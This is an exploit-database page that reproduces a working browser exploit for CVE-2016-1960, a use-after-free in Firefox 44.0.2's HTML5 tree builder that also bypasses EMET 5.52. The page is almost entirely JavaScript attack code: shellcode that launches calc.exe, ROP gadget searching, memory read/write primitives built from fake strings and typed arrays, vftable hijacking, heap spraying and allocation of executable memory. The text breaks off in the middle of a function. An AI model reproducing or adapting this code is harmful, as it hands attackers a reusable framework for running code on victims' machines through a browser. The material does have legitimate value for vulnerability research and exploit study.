Lucene search

K
exploitpackHans Jerry IllikainenEXPLOITPACK:C5FA49A11F7E89D8D61349F15C49A648
HistoryAug 18, 2017 - 12:00 a.m.

Mozilla Firefox 45.0 - nsHtml5TreeBuilder Use-After-Free (EMET 5.52 Bypass)

2017-08-1800:00:00
Hans Jerry Illikainen
36

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

Mozilla Firefox 45.0 - nsHtml5TreeBuilder Use-After-Free (EMET 5.52 Bypass)

<!doctype html>
<html>
<head>
<meta http-equiv="cache-control" content="no-cache" charset="utf-8" />
<title>CVE-2016-1960</title>
<script>
/*
 * Exploit Title: Mozilla Firefox < 45.0 nsHtml5TreeBuilder Array Indexing Vulnerability (EMET 5.52 bypass)
 * Author: Hans Jerry Illikainen (exploit), ca0nguyen (vulnerability)
 * Vendor Homepage: https://mozilla.org
 * Software Link: https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
 * Version: 44.0.2
 * Tested on: Windows 7 and Windows 10
 * CVE: CVE-2016-1960
 *
 * Exploit for CVE-2016-1960 [1] targeting Firefox 44.0.2 [2] on WoW64
 * with/without EMET 5.52.
 *
 * Tested on:
 * - 64bit Windows 10 Pro+Home (version 1703)
 * - 64bit Windows 7 Pro SP1
 *
 * Vulnerability disclosed by ca0nguyen [1].
 * Exploit written by Hans Jerry Illikainen <[email protected]>.
 *
 * [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1246014
 * [2] https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/
 */

"use strict";

/* This is executed after having pivoted the stack.  `esp' points to a
 * region on the heap, and the original stack pointer is stored in
 * `edi'.  In order to bypass EMET, the shellcode should make sure to
 * xchg edi, esp before any protected function is called.
 *
 * For convenience, the first two "arguments" to the shellcode is a
 * module handle for kernel32.dll and the address of GetProcAddress() */
const shellcode = [
    "\x8b\x84\x24\x04\x00\x00\x00", /* mov eax, dword [esp + 0x4] */
    "\x8b\x8c\x24\x08\x00\x00\x00", /* mov ecx, dword [esp + 0x8] */
    "\x87\xe7",                     /* xchg edi, esp */
    "\x56",                         /* push esi */
    "\x57",                         /* push edi */
    "\x89\xc6",                     /* mov esi, eax */
    "\x89\xcf",                     /* mov edi, ecx */
    "\x68\x78\x65\x63\x00",         /* push xec\0 */
    "\x68\x57\x69\x6e\x45",         /* push WinE */
    "\x54",                         /* push esp */
    "\x56",                         /* push esi */
    "\xff\xd7",                     /* call edi */
    "\x83\xc4\x08",                 /* add esp, 0x8 */

    "\x6a\x00",                     /* push 0 */
    "\x68\x2e\x65\x78\x65",         /* push .exe */
    "\x68\x63\x61\x6c\x63",         /* push calc */
    "\x89\xe1",                     /* mov ecx, esp */
    "\x6a\x01",                     /* push 1 */
    "\x51",                         /* push ecx */
    "\xff\xd0",                     /* call eax */
    "\x83\xc4\x0c",                 /* add esp, 0xc */

    "\x5f",                         /* pop edi */
    "\x5e",                         /* pop esi */
    "\x87\xe7",                     /* xchg edi, esp */
    "\xc3",                         /* ret */
];

function ROPHelper(pe, rwx) {
    this.pe = pe;
    this.rwx = rwx;
    this.cache = {};

    this.search = function(instructions) {
        for (let addr in this.cache) {
            if (this.match(this.cache[addr], instructions) === true) {
                return addr;
            }
        }

        const text = this.pe.text;
        for (let addr = text.base; addr < text.base + text.size; addr++) {
            const read = this.rwx.readBytes(addr, instructions.length);
            if (this.match(instructions, read) === true) {
                this.cache[addr] = instructions;
                return addr;
            }
        }

        throw new Error("could not find gadgets for " + instructions);
    };

    this.match = function(a, b) {
        if (a.length !== b.length) {
            return false;
        }

        for (let i = 0; i < a.length; i++) {
            if (a[i] !== b[i]) {
                return false;
            }
        }
        return true;
    };

    this.execute = function(func, args, cleanup) {
        const u32array = this.rwx.u32array;
        const ret = this.rwx.calloc(4);
        let i = this.rwx.div.mem.idx + 2941; /* gadgets after [A] and [B] */

        /*
         * [A] stack pivot
         *
         * xchg eax, esp
         * ret 0x2de8
         */
        const pivot = this.search([0x94, 0xc2, 0xe8, 0x2d]);

        /*
         * [B] preserve old esp in a nonvolatile register
         *
         * xchg eax, edi
         * ret
         */
        const after = this.search([0x97, 0xc3]);

        /*
         * [C] address to execute
         */
        u32array[i++] = func;

        if (cleanup === true && args.length > 0) {
            if (args.length > 1) {
                /*
                 * [E] return address from [C]: cleanup args on the stack
                 *
                 * add esp, args.length*4
                 * ret
                 */
                u32array[i++] = this.search([0x83, 0xc4, args.length*4, 0xc3]);
            } else {
                /*
                 * [E] return address from [C]: cleanup arg
                 *
                 * pop ecx
                 * ret
                 */
                u32array[i++] = this.search([0x59, 0xc3]);
            }
        } else {
            /*
             * [E] return address from [C]
             *
             * ret
             */
            u32array[i++] = this.search([0xc3]);
        }

        /*
         * [D] arguments for [C]
         */
        for (let j = 0; j < args.length; j++) {
            u32array[i++] = args[j];
        }

        /*
         * [F] pop the location for the return value
         *
         * pop ecx
         * ret
         */
        u32array[i++] = this.search([0x59, 0xc3]);

        /*
         * [G] address to store the return value
         */
        u32array[i++] = ret.addr;

        /*
         * [H] move the return value to [G]
         *
         * mov dword [ecx], eax
         * ret
         */
        u32array[i++] = this.search([0x89, 0x01, 0xc3]);

        /*
         * [I] restore the original esp and return
         *
         * mov esp, edi
         * ret
         */
        u32array[i++] = this.search([0x89, 0xfc, 0xc3]);

        this.rwx.execute(pivot, after);

        return u32array[ret.idx];
    };
}

function ICUUC55(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;
    this.kernel32 = new KERNEL32(rop, pe, rwx);
    this.icuuc55handle = this.kernel32.GetModuleHandleA("icuuc55.dll");

    /*
     * The invocation of uprv_malloc_55() requires special care since
     * pAlloc points to a protected function (VirtualAlloc).
     *
     * ROPHelper.execute() can't be used because:
     * 1. it pivots the stack to the heap (StackPivot protection)
     * 2. it returns into the specified function (Caller protection)
     * 3. the forward ROP chain is based on returns (SimExecFlow protection)
     *
     * This function consist of several steps:
     * 1. a second-stage ROP chain is written to the stack
     * 2. a first-stage ROP chain is executed that pivots to the heap
     * 3. the first-stage ROP chain continues by pivoting to #1
     * 4. uprv_malloc_55() is invoked
     * 5. the return value is saved
     * 6. the original stack is restored
     *
     * Of note is that uprv_malloc_55() only takes a `size' argument,
     * and it passes two arguments to the hijacked pAlloc function
     * pointer (context and size; both in our control).  VirtualAlloc,
     * on the other hand, expects four arguments.  So, we'll have to
     * setup the stack so that the values interpreted by VirtualAlloc as
     * its arguments are reasonably-looking.
     *
     * By the time that uprv_malloc_55() is returned into, the stack
     * will look like:
     * [A] [B] [C] [D]
     *
     * When pAlloc is entered, the stack will look like:
     * [uprv_malloc_55()-ret] [pContext] [B] [A] [B] [C] [D]
     *
     * Since we've set pAlloc to point at VirtualAlloc, the call is
     * interpreted as VirtualAlloc(pContext, B, A, B);
     *
     * Hence, because we want `flProtect' to be PAGE_EXECUTE_READWRITE,
     * we also have to have a `size' with the same value; meaning our
     * rwx allocation will only be 0x40 bytes.
     *
     * This is not a problem, since we can simply write a small snippet
     * of shellcode that allocates a larger region in a non-ROPy way
     * afterwards.
     */
    this.uprv_malloc_55 = function(stackAddr) {
        const func = this.kernel32.GetProcAddress(this.icuuc55handle,
                                                  "uprv_malloc_55");
        const ret = this.rwx.calloc(4);
        const u32array = this.rwx.u32array;

        /**********************
         * second stage gadgets
         **********************/
        const stackGadgets = new Array(
            func,

            0x1000,     /* [A] flAllocationType (MEM_COMMIT) */
            0x40,       /* [B] dwSize and flProtect (PAGE_EXECUTE_READWRITE) */
            0x41414141, /* [C] */
            0x42424242, /* [D] */

            /*
             * location to write the return value
             *
             * pop ecx
             * ret
             */
            this.rop.search([0x59, 0xc3]),
            ret.addr,

            /*
             * do the write
             *
             * mov dword [ecx], eax
             * ret
             */
            this.rop.search([0x89, 0x01, 0xc3]),

            /*
             * restore the old stack
             *
             * mov esp, edi
             * ret
             */
            this.rop.search([0x89, 0xfc, 0xc3])
        );

        const origStack = this.rwx.readDWords(stackAddr, stackGadgets.length);
        this.rwx.writeDWords(stackAddr, stackGadgets);


        /*********************
         * first stage gadgets
         *********************/
        /*
         * pivot
         *
         * xchg eax, esp
         * ret 0x2de8
         */
        const pivot = this.rop.search([0x94, 0xc2, 0xe8, 0x2d]);

        /*
         * preserve old esp in a nonvolatile register
         *
         * xchg eax, edi
         * ret
         */
        const after = this.rop.search([0x97, 0xc3]);

        /*
         * pivot to the second stage
         *
         * pop esp
         * ret
         */
        u32array[this.rwx.div.mem.idx + 2941] = this.rop.search([0x5c, 0xc3]);
        u32array[this.rwx.div.mem.idx + 2942] = stackAddr;

        /*
         * here we go :)
         */
        this.rwx.execute(pivot, after);
        this.rwx.writeDWords(stackAddr, origStack);

        if (u32array[ret.idx] === 0) {
            throw new Error("uprv_malloc_55() failed");
        }
        return u32array[ret.idx];
    };

    /*
     * Overrides the pointers in firefox-44.0.2/intl/icu/source/common/cmemory.c
     */
    this.u_setMemoryFunctions_55 = function(context, a, r, f, status) {
        const func = this.kernel32.GetProcAddress(this.icuuc55handle,
                                                  "u_setMemoryFunctions_55");
        this.rop.execute(func, [context, a, r, f, status], true);
    };

    /*
     * Sets `pAlloc' to VirtualAlloc.  `pRealloc' and `pFree' are
     * set to point to small gadgets.
     */
    this.set = function() {
        const status = this.rwx.calloc(4);
        const alloc = this.pe.search("kernel32.dll", "VirtualAlloc");

        /* pretend to be a failed reallocation
         *
         * xor eax, eax
         * ret */
        const realloc = this.rop.search([0x33, 0xc0, 0xc3]);

        /* let the chunk live
         *
         * ret */
        const free = this.rop.search([0xc3]);

        this.u_setMemoryFunctions_55(0, alloc, realloc, free, status.addr);
        if (this.rwx.u32array[status.idx] !== 0) {
            throw new Error("u_setMemoryFunctions_55() failed");
        }
    };

    /*
     * This (sort of) restores the functionality in
     * intl/icu/source/common/cmemory.c by reusing the previously
     * allocated PAGE_EXECUTE_READWRITE chunk to set up three stubs that
     * invokes an appropriate function in mozglue.dll
     */
    this.reset = function(chunk) {
        const u32array = this.rwx.u32array;
        const status = this.rwx.calloc(4);

        /*
         * pFree
         */
        const free = {};
        free.addr = chunk;
        free.func = this.rwx.calloc(4);
        free.func.str = this.dword2str(free.func.addr);
        free.code = [
            "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
            "\x50",                         /* push eax */
            "\x8b\x05" + free.func.str,     /* mov eax, [location-of-free] */
            "\xff\xd0",                     /* call eax */
            "\x59",                         /* pop ecx */
            "\xc3",                         /* ret */
        ].join("");
        u32array[free.func.idx] = this.pe.search("mozglue.dll", "free");
        this.rwx.writeString(free.addr, free.code);

        /*
         * pAlloc
         */
        const alloc = {};
        alloc.addr = chunk + free.code.length;
        alloc.func = this.rwx.calloc(4);
        alloc.func.str = this.dword2str(alloc.func.addr);
        alloc.code = [
            "\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */
            "\x50",                         /* push eax */
            "\x8b\x05" + alloc.func.str,    /* mov eax, [location-of-alloc] */
            "\xff\xd0",                     /* call eax */
            "\x59",                         /* pop ecx */
            "\xc3",                         /* ret */
        ].join("");
        u32array[alloc.func.idx] = this.pe.search("mozglue.dll", "malloc");
        this.rwx.writeString(alloc.addr, alloc.code);

        /*
         * pRealloc
         */
        const realloc = {};
        realloc.addr = chunk + free.code.length + alloc.code.length;
        realloc.func = this.rwx.calloc(4);
        realloc.func.str = this.dword2str(realloc.func.addr);
        realloc.code = [
            "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
            "\x50",                         /* push eax */
            "\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */
            "\x50",                         /* push eax */
            "\x8b\x05" + realloc.func.str,  /* mov eax, [location-of-realloc] */
            "\xff\xd0",                     /* call eax */
            "\x59",                         /* pop ecx */
            "\x59",                         /* pop ecx */
            "\xc3",                         /* ret */
        ].join("");
        u32array[realloc.func.idx] = this.pe.search("mozglue.dll", "realloc");
        this.rwx.writeString(realloc.addr, realloc.code);

        this.u_setMemoryFunctions_55(0,
                                     alloc.addr,
                                     realloc.addr,
                                     free.addr,
                                     status.addr);
        if (u32array[status.idx] !== 0) {
            throw new Error("u_setMemoryFunctions_55() failed");
        }
    };

    /*
     * Allocates a small chunk of memory marked RWX, which is used
     * to allocate a `size'-byte chunk (see uprv_malloc_55()).  The
     * first allocation is then repurposed in reset().
     */
    this.alloc = function(stackAddr, size) {
        /*
         * hijack the function pointers
         */
        this.set();

        /*
         * do the initial 0x40 byte allocation
         */
        const chunk = this.uprv_malloc_55(stackAddr);
        log("allocated 0x40 byte chunk at 0x" + chunk.toString(16));

        /*
         * allocate a larger chunk now that we're no longer limited to ROP/JOP
         */
        const u32array = this.rwx.u32array;
        const func = this.rwx.calloc(4);
        func.str = this.dword2str(func.addr);
        u32array[func.idx] = this.pe.search("kernel32.dll", "VirtualAlloc");
        const code = [
            "\x87\xe7",                    /* xchg edi, esp (orig stack) */
            "\x6a\x40",                    /* push 0x40 (flProtect) */
            "\x68\x00\x10\x00\x00",        /* push 0x1000 (flAllocationType) */
            "\xb8" + this.dword2str(size), /* move eax, size */
            "\x50",                        /* push eax (dwSize) */
            "\x6a\x00",                    /* push 0 (lpAddress) */
            "\x8b\x05" + func.str,         /* mov eax, [loc-of-VirtualAlloc] */
            "\xff\xd0",                    /* call eax */
            "\x87\xe7",                    /* xchg edi, esp (back to heap) */
            "\xc3",                        /* ret */
        ].join("");
        this.rwx.writeString(chunk, code);
        const newChunk = this.rop.execute(chunk, [], false);
        log("allocated " + size + " byte chunk at 0x" + newChunk.toString(16));

        /*
         * repurpose the first rwx chunk to restore functionality
         */
        this.reset(chunk);

        return newChunk;
    };

    this.dword2str = function(dword) {
        let str = "";
        for (let i = 0; i < 4; i++) {
            str += String.fromCharCode((dword >> 8 * i) & 0xff);
        }
        return str;
    };
}

function KERNEL32(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;

    /*
     * Retrieves a handle for an imported module
     */
    this.GetModuleHandleA = function(lpModuleName) {
        const func = this.pe.search("kernel32.dll", "GetModuleHandleA");
        const name = this.rwx.copyString(lpModuleName);
        const module = this.rop.execute(func, [name.addr], false);
        if (module === 0) {
            throw new Error("could not get a handle for " + lpModuleName);
        }
        return module;
    };

    /*
     * Retrieves the address of an exported symbol.  Do not invoke this
     * function on protected modules (if you want to bypass EAF); instead
     * try to locate the symbol in any of the import tables or choose
     * another target.
     */
    this.GetProcAddress = function(hModule, lpProcName) {
        const func = this.pe.search("kernel32.dll", "GetProcAddress");
        const name = this.rwx.copyString(lpProcName);
        const addr = this.rop.execute(func, [hModule, name.addr], false);
        if (addr === 0) {
            throw new Error("could not get address for " + lpProcName);
        }
        return addr;
    };

    /*
     * Retrieves a handle for the current thread
     */
    this.GetCurrentThread = function() {
        const func = this.pe.search("kernel32.dll", "GetCurrentThread");
        return this.rop.execute(func, [], false);
    };
}

function NTDLL(rop, pe, rwx) {
    this.rop = rop;
    this.pe = pe;
    this.rwx = rwx;

    /*
     * Retrieves the stack limit from the Thread Environment Block
     */
    this.getStackLimit = function(ThreadHandle) {
        const mem = this.rwx.calloc(0x1c);
        this.NtQueryInformationThread(ThreadHandle, 0, mem.addr, mem.size, 0);
        return this.rwx.readDWord(this.rwx.u32array[mem.idx+1] + 8);
    };

    /*
     * Retrieves thread information
     */
    this.NtQueryInformationThread = function(ThreadHandle,
                                             ThreadInformationClass,
                                             ThreadInformation,
                                             ThreadInformationLength,
                                             ReturnLength) {
        const func = this.pe.search("ntdll.dll", "NtQueryInformationThread");
        const ret = this.rop.execute(func, arguments, false);
        if (ret !== 0) {
            throw new Error("NtQueryInformationThread failed");
        }
        return ret;
    };
}

function ReadWriteExecute(u32base, u32array, array) {
    this.u32base = u32base;
    this.u32array = u32array;
    this.array = array;

    /*
     * Reads `length' bytes from `addr' through a fake string
     */
    this.readBytes = function(addr, length) {
        /* create a string-jsval */
        this.u32array[4] = this.u32base + 6*4;   /* addr to meta */
        this.u32array[5] = 0xffffff85;           /* type (JSVAL_TAG_STRING) */

        /* metadata */
        this.u32array[6] = 0x49;   /* flags */
        this.u32array[7] = length; /* read size */
        this.u32array[8] = addr;   /* memory to read */

        /* Uint8Array is *significantly* slower, which kills our ROP hunting */
        const result = new Array();

        const str = this.getArrayElem(4);
        for (let i = 0; i < str.length; i++) {
            result[i] = str.charCodeAt(i);
        }

        return result;
    };

    this.readDWords = function(addr, num) {
        const bytes = this.readBytes(addr, num * 4);
        const dwords = new Uint32Array(num);
        for (let i = 0; i < bytes.length; i += 4) {
            for (let j = 0; j < 4; j++) {
                dwords[i/4] |= bytes[i+j] << (8 * j);
            }
        }
        return dwords;
    };

    this.readDWord = function(addr) {
        return this.readDWords(addr, 1)[0];
    };

    this.readWords = function(addr, num) {
        const bytes = this.readBytes(addr, num * 2);
        const words = new Uint16Array(num);
        for (let i = 0; i < bytes.length; i += 2) {
            for (let j = 0; j < 2; j++) {
                words[i/2] |= bytes[i+j] << (8 * j);
            }
        }
        return words;
    };

    this.readWord = function(addr) {
        return this.readWords(addr, 1)[0];
    };

    this.readString = function(addr) {
        for (let i = 0, str = ""; ; i++) {
            const chr = this.readBytes(addr + i, 1)[0];
            if (chr === 0) {
                return str;
            }
            str += String.fromCharCode(chr);
        }
    };

    /*
     * Writes `values' to `addr' by using the metadata of an Uint8Array
     * to set up a write primitive
     */
    this.writeBytes = function(addr, values) {
        /* create jsval */
        const jsMem = this.calloc(8);
        this.setArrayElem(jsMem.idx, new Uint8Array(values.length));

        /* copy metadata */
        const meta = this.readDWords(this.u32array[jsMem.idx], 12);
        const metaMem = this.calloc(meta.length * 4);
        for (let i = 0; i < meta.length; i++) {
            this.u32array[metaMem.idx + i] = meta[i];
        }

        /* change the pointer to the contents of the Uint8Array */
        this.u32array[metaMem.idx + 10] = addr;

        /* change the pointer to the metadata */
        const oldMeta = this.u32array[jsMem.idx];
        this.u32array[jsMem.idx] = metaMem.addr;

        /* write */
        const u8 = this.getArrayElem(jsMem.idx);
        for (let i = 0; i < values.length; i++) {
            u8[i] = values[i];
        }

        /* clean up */
        this.u32array[jsMem.idx] = oldMeta;
    };

    this.writeDWords = function(addr, values) {
        const u8 = new Uint8Array(values.length * 4);
        for (let i = 0; i < values.length; i++) {
            for (let j = 0; j < 4; j++) {
                u8[i*4 + j] = values[i] >> (8 * j) & 0xff;
            }
        }
        this.writeBytes(addr, u8);
    };

    this.writeDWord = function(addr, value) {
        const u32 = new Uint32Array(1);
        u32[0] = value;
        this.writeDWords(addr, u32);
    };

    this.writeString = function(addr, str) {
        const u8 = new Uint8Array(str.length);

        for (let i = 0; i < str.length; i++) {
            u8[i] = str.charCodeAt(i);
        }
        this.writeBytes(addr, u8);
    };

    /*
     * Copies a string to the `u32array' and returns an object from
     * calloc().
     *
     * This is an ugly workaround to allow placing a string at a known
     * location without having to implement proper support for JSString
     * and its various string types.
     */
    this.copyString = function(str) {
        str += "\x00".repeat(4 - str.length % 4);
        const mem = this.calloc(str.length);

        for (let i = 0, j = 0; i < str.length; i++) {
            if (i && !(i % 4)) {
                j++;
            }
            this.u32array[mem.idx + j] |= str.charCodeAt(i) << (8 * (i % 4));
        }
        return mem;
    };

    /*
     * Creates a <div> and copies the contents of its vftable to
     * writable memory.
     */
    this.createExecuteDiv = function() {
        const div = {};

        /* 0x3000 bytes should be enough for the div, vftable and gadgets */
        div.mem = this.calloc(0x3000);

        div.elem = document.createElement("div");
        this.setArrayElem(div.mem.idx, div.elem);

        /* addr of the div */
        const addr = this.u32array[div.mem.idx];

        /* *(addr+4) = this */
        const ths = this.readDWord(addr + 4*4);

        /* *this = xul!mozilla::dom::HTMLDivElement::`vftable' */
        const vftable = this.readDWord(ths);

        /* copy the vftable (the size is a guesstimate) */
        const entries = this.readDWords(vftable, 512);
        this.writeDWords(div.mem.addr + 4*2, entries);

        /* replace the pointer to the original vftable with ours */
        this.writeDWord(ths, div.mem.addr + 4*2);

        return div;
    };

    /*
     * Replaces two vftable entries of the previously created div and
     * triggers code execution
     */
    this.execute = function(pivot, postPivot) {
        /* vftable entry for xul!nsGenericHTMLElement::QueryInterface
         * kind of ugly, but we'll land here after the pivot that's used
         * in ROPHelper.execute() */
        const savedQueryInterface = this.u32array[this.div.mem.idx + 2];
        this.u32array[this.div.mem.idx + 2] = postPivot;

        /* vftable entry for xul!nsGenericHTMLElement::Click */
        const savedClick = this.u32array[this.div.mem.idx + 131];
        this.u32array[this.div.mem.idx + 131] = pivot;

        /* execute */
        this.div.elem.click();

        /* restore our overwritten vftable pointers */
        this.u32array[this.div.mem.idx + 2] = savedQueryInterface;
        this.u32array[this.div.mem.idx + 131] = savedClick;
    };

    /*
     * Reserves space in the `u32array' and initializes it to 0.
     *
     * Returns an object with the following properties:
     * - idx: index of the start of the allocation in the u32array
     * - addr: start address of the allocation
     * - size: non-padded allocation size
     * - realSize: padded size
     */
    this.calloc = function(size) {
        let padded = size;
        if (!size || size % 4) {
            padded += 4 - size % 4;
        }

        const found = [];
        /* the first few dwords are reserved for the metadata belonging
         * to `this.array' and for the JSString in readBytes (since using
         * this function would impact the speed of the ROP hunting) */
        for (let i = 10; i < this.u32array.length - 1; i += 2) {
            if (this.u32array[i] === 0x11223344 &&
                this.u32array[i+1] === 0x55667788) {
                found.push(i, i+1);
                if (found.length >= padded / 4) {
                    for (let j = 0; j < found.length; j++) {
                        this.u32array[found[j]] = 0;
                    }
                    return {
                        idx: found[0],
                        addr: this.u32base + found[0]*4,
                        size: size,
                        realSize: padded,
                    };
                }
            } else {
                found.length = 0;
            }
        }
        throw new Error("calloc(): out of memory");
    };

    /*
     * Returns an element in `array' based on an index for `u32array'
     */
    this.getArrayElem = function(idx) {
        if (idx <= 3 || idx % 2) {
            throw new Error("invalid index");
        }
        return this.array[(idx - 4) / 2];
    };

    /*
     * Sets an element in `array' based on an index for `u32array'
     */
    this.setArrayElem = function(idx, value) {
        if (idx <= 3 || idx % 2) {
            throw new Error("invalid index");
        }
        this.array[(idx - 4) / 2] = value;
    };

    this.div = this.createExecuteDiv();
}

function PortableExecutable(base, rwx) {
    this.base = base;
    this.rwx = rwx;
    this.imports = {};
    this.text = {};

    /*
     * Parses the PE import table.  Some resources of interest:
     *
     * - An In-Depth Look into the Win32 Portable Executable File Format
     *   https://msdn.microsoft.com/en-us/magazine/bb985992(printer).aspx
     *
     * - Microsoft Portable Executable and Common Object File Format Specification
     *   https://www.microsoft.com/en-us/download/details.aspx?id=19509
     *
     * - Understanding the Import Address Table
     *   http://sandsprite.com/CodeStuff/Understanding_imports.html
     */
    this.read = function() {
        const rwx = this.rwx;
        let addr = this.base;

        /*
         * DOS header
         */
        const magic = rwx.readWord(addr);
        if (magic !== 0x5a4d) {
            throw new Error("bad DOS header");
        }
        const lfanew = rwx.readDWord(addr + 0x3c, 4);
        addr += lfanew;

        /*
         * Signature
         */
        const signature = rwx.readDWord(addr);
        if (signature !== 0x00004550) {
            throw new Error("bad signature");
        }
        addr += 4;

        /*
         * COFF File Header
         */
        addr += 20;

        /*
         * Optional Header
         */
        const optionalMagic = rwx.readWord(addr);
        if (optionalMagic !== 0x010b) {
            throw new Error("bad optional header");
        }

        this.text.size = rwx.readDWord(addr + 4);
        this.text.base = this.base + rwx.readDWord(addr + 20);

        const numberOfRvaAndSizes = rwx.readDWord(addr + 92);
        addr += 96;

        /*
         * Optional Header Data Directories
         *
         * N entries * 2 DWORDs (RVA and size)
         */
        const directories = rwx.readDWords(addr, numberOfRvaAndSizes * 2);

        for (let i = 0; i < directories[3] - 5*4; i += 5*4) {
            /* Import Directory Table (N entries * 5 DWORDs) */
            const members = rwx.readDWords(this.base + directories[2] + i, 5);
            const lookupTable = this.base + members[0];
            const dllName = rwx.readString(this.base+members[3]).toLowerCase();
            const addrTable = this.base + members[4];

            this.imports[dllName] = {};

            /* Import Lookup Table */
            for (let j = 0; ; j += 4) {
                const hintNameRva = rwx.readDWord(lookupTable + j);
                /* the last entry is NULL */
                if (hintNameRva === 0) {
                    break;
                }

                /* name is not available if the dll is imported by ordinal */
                if (hintNameRva & (1 << 31)) {
                    continue;
                }

                const importName = rwx.readString(this.base + hintNameRva + 2);
                const importAddr = rwx.readDWord(addrTable + j);
                this.imports[dllName][importName] = importAddr;
            }
        }
    };

    /*
     * Searches for an imported symbol
     */
    this.search = function(dll, symbol) {
        if (this.imports[dll] === undefined) {
            throw new Error("unknown dll: " + dll);
        }

        const addr = this.imports[dll][symbol];
        if (addr === undefined) {
            throw new Error("unknown symbol: " + symbol);
        }
        return addr;
    };
}

function Spray() {
    this.nodeBase = 0x80000000;
    this.ptrNum = 64;
    this.refcount = 0xffffffff;
    /*
     * 0:005> ?? sizeof(nsHtml5StackNode)
     * unsigned int 0x1c
     */
    this.nsHtml5StackNodeSize = 0x1c;

    /*
     * Creates a bunch of fake nsHtml5StackNode:s with the hope of hitting
     * the address of elementName->name when it's [xul!nsHtml5Atoms::style].
     *
     * Ultimately, the goal is to enter the conditional on line 2743:
     *
     * firefox-44.0.2/parser/html/nsHtml5TreeBuilder.cpp:2743
     * ,----
     * | 2214 void
     * | 2215 nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
     * | 2216 {
     * | ....
     * | 2221   nsIAtom* name = elementName->name;
     * | ....
     * | 2741   for (; ; ) {
     * | 2742     nsHtml5StackNode* node = stack[eltPos];
     * | 2743     if (node->ns == kNameSpaceID_XHTML && node->name == name) {
     * | ....
     * | 2748       while (currentPtr >= eltPos) {
     * | 2749         pop();
     * | 2750       }
     * | 2751       NS_HTML5_BREAK(endtagloop);
     * | 2752     } else if (node->isSpecial()) {
     * | 2753       errStrayEndTag(name);
     * | 2754       NS_HTML5_BREAK(endtagloop);
     * | 2755     }
     * | 2756     eltPos--;
     * | 2757   }
     * | ....
     * | 3035 }
     * `----
     *
     * We get 64 attempts each time the bug is triggered -- however, in
     * order to have a clean break, the last node has its flags set to
     * NS_HTML5ELEMENT_NAME_SPECIAL, so that the conditional on line
     * 2752 is entered.
     *
     * If we do find ourselves with a node->name == name, then
     * nsHtml5TreeBuilder::pop() invokes nsHtml5StackNode::release().
     * The release() method decrements the nodes refcount -- and, if the
     * refcount reaches 0, also deletes it.
     *
     * Assuming everything goes well, the Uint32Array is allocated with
     * the method presented by SkyLined/@berendjanwever in:
     *
     * "Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows"
     * http://blog.skylined.nl/20160622001.html
     */
    this.nodes = function(name, bruteforce) {
        const nodes = new Uint32Array(0x19000000);
        const size = this.nsHtml5StackNodeSize / 4;
        const refcount = bruteforce ? this.refcount : 1;
        let flags = 0;

        for (let i = 0; i < this.ptrNum * size; i += size) {
            if (i === (this.ptrNum - 1) * size) {
                flags = 1 << 29; /* NS_HTML5ELEMENT_NAME_SPECIAL */
                name = 0x0;
            }
            nodes[i] = flags;
            nodes[i+1] = name;
            nodes[i+2] = 0; /* popName */
            nodes[i+3] = 3; /* ns (kNameSpaceID_XHTML) */
            nodes[i+4] = 0; /* node */
            nodes[i+5] = 0; /* attributes */
            nodes[i+6] = refcount;
            name += 0x100000;
        }
        return nodes;
    };

    /*
     * Sprays pointers to the fake nsHtml5StackNode:s created in nodes()
     */
    this.pointers = function() {
        const pointers = new Array();

        for (let i = 0; i < 0x30000; i++) {
            pointers[i] = new Uint32Array(this.ptrNum);
            let node = this.nodeBase;
            for (let j = pointers[i].length - 1; j >= 0; j--) {
                pointers[i][j] = node;
                node += this.nsHtml5StackNodeSize;
            }
        }
        return pointers;
    };

    /*
     * Sprays a bunch of arrays with the goal of having one hijack the
     * previously freed Uint32Array
     */
    this.arrays = function() {
        const array = new Array();

        for (let i = 0; i < 0x800; i++) {
            array[i] = new Array();
            for (let j = 0; j < 0x10000; j++) {
                /* 0x11223344, 0x55667788 */
                array[i][j] = 2.5160082934009793e+103;
            }
        }
        return array;
    };

    /*
     * Not sure how reliable this is, but on 3 machines running win10 on
     * bare metal and on a few VMs with win7/win10 (all with and without
     * EMET), [xul!nsHtml5Atoms::style] was always found within
     * 0x[00a-1c2]f[a-f]6(c|e)0
     */
    this.getNextAddr = function(current) {
        const start = 0x00afa6c0;

        if (!current) {
            return start;
        }

        if ((current >> 20) < 0x150) {
            return current + 0x100000*(this.ptrNum-1);
        }

        if ((current >> 12 & 0xf) !== 0xf) {
            return (current + 0x1000) & ~(0xfff << 20) | (start >> 20) << 20;
        }

        if ((current >> 4 & 0xf) === 0xc) {
            return start + 0x20;
        }
        throw new Error("out of guesses");
    };

    /*
     * Returns the `name' from the last node with a decremented
     * refcount, if any are found
     */
    this.findStyleAddr = function(nodes) {
        const size = this.nsHtml5StackNodeSize / 4;

        for (let i = 64 * size - 1; i >= 0; i -= size) {
            if (nodes[i] === this.refcount - 1) {
                return nodes[i-5];
            }
        }
    };

    /*
     * Locates a subarray in `array' that overlaps with `nodes'
     */
    this.findArray = function(nodes, array) {
        /* index 0..3 is metadata for `array' */
        nodes[4] = 0x41414141;
        nodes[5] = 0x42424242;

        for (let i = 0; i < array.length; i++) {
            if (array[i][0] === 156842099330.5098) {
                return array[i];
            }
        }
        throw new Error("Uint32Array hijack failed");
    };
}

function log(msg) {
